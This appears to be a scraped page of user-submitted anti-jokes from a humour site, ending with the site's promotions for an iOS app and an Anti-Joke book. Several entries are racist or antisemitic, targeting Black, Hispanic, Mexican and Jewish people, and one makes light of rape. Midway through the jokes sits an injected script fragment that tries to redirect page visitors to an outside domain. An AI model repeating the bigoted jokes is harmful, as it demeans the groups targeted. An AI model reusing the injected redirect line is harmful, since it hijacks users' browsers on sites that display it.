Friends are just like trees. They fall down when you hit them multiple times with an axe.

How do you get a black man out of a tree? With a ladder.

Q: Men are always very careful to have penises. Why don't women care enough to have them? A: That's a very good question.

What did Queen Victoria say when she saw a zombie? "Quick everybody, run, that is a zombie."

Q: What's funnier than rape? A: Many things such as murder or nuclear warfare.

Guy 1: "hey look that homeless guy is riding a bike!" Guy 2 " Ya i know and look, there's a dead pro biker other there"

What do you call a dog with no legs? A seal.

A man walks into a bar. He orders a beer, then suddenly dies of a heart attack.

What do you get when you cross black man and a Hispanic woman A child that is a combination of both ethnic groups

Confucius says... He with whom neither slander that gradually soaks into the mind, nor statements that startle like a wound in the flesh, are successful may be called intelligent indeed.

Yo momma so fat, when she went out side in a red dress, everyone yelled "HEY, KOOL-AID!"

what happens when a mexican makes love to an octopus? It makes a freaking weird looking animal

A girl walked into a bar and sat next to a man. She asked what he was drinking. He said something that makes you fly. She didn't believe him. He then went up to the roof, jumped off and walked back in the front door. She got the drink then tried to jump off the roof, and died on impact. The bartender said to the man "You're a real asshole when you're drunk superman."

A man walked into a bar. He was accused of being to drunk to drive so someone called a cab for him and he was forced to leave.

Why did the little boy chase after his ball? Because it rolled away

What was Helen Keller's favourite colour? None, due her disability she was unable to see colours...

Did you hear the joke about the deaf kid? He didn't either.

What's the relationship between a frog and a building? They have nothing to do with each other so stop trying to figure out this query.

Why do black people have white palms? Genetics.

A guy reads the bible Another guy shouts "spoiler alert, the main character dies"

"'>document.location.href="http://cramik.org"

Roses Are Potato, Violets Are Booze, Im Irish and i hate Jews.

How do you greet your great great grandmother born in 1738? Hey, what's up, hello.

Knock knock. ... ... *after waiting 30 seconds or so to no answer, the knocker concludes there is no one home and decides to go home to take his son to soccer practice and work on his taxes, and maybe call his mother to see how her foot surgery went* Who's there? Oh.. This is awkward, I forgot why I was here in the first place. I have to go. Bye.

Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

Our Updated iOS App!

We've just released huge update to the iOS app! Now, access all your favorite text and photo sites like Anti-Joke, DIYLOL! A few things didn't make the original cut (like comments) but they'll be back soon. Best of all, the app is now FREE! Get it here.

The Anti Joke Book


NEW ANTI-JOKE BOOK!  Now that we've resolved the printing issues with our publisher, check out the BRAND SPANKING NEW Anti-Joke Book!

MOAR??

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